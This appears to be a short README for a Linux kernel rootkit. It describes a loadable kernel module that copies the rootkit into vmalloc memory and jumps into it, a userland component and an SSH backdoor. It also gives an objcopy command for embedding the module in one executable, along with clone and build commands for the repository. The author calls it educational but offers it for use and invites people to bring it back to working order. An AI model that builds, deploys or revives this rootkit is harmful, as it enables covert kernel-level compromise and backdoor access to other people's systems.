Kernel <-> Userland Ring0
Made this around 2008-2013, wouldn't be hard to get it back working, just need to update the sysclone.d offsets and elf headers, and whatever other technology has been implemented since then? I'm out of the loop, but this was just educational, and getting this back working sounds too much like actual work
C/ASM - This attacks multiple architectures where I load LKM which does a vmalloc() and copies the kernel part of the rk (from kstart to kend) to the vmalloc area and then jumps to kenter(). The userland portion is in rkbin/rk.c, ssh in sshbd/, etc. This all gets compiled into one single executable, and the LKM is stuffed into the exe. There is some objcopy command i execute in one of the makefiles, it allows you to stick anything into an executable, providing it starting addresses and size, @objcopy --redefine-sym _binary_rkmod_kmodd_ko_start=_rkmod_start rkmod/kmodd.o. There's a lot more to it, let me know if you have questions
# Commands
$ git clone https://github.com/awknode/linux-rootkit.git
$ cd linux-rootkit
# And we have a Makefile, life is easy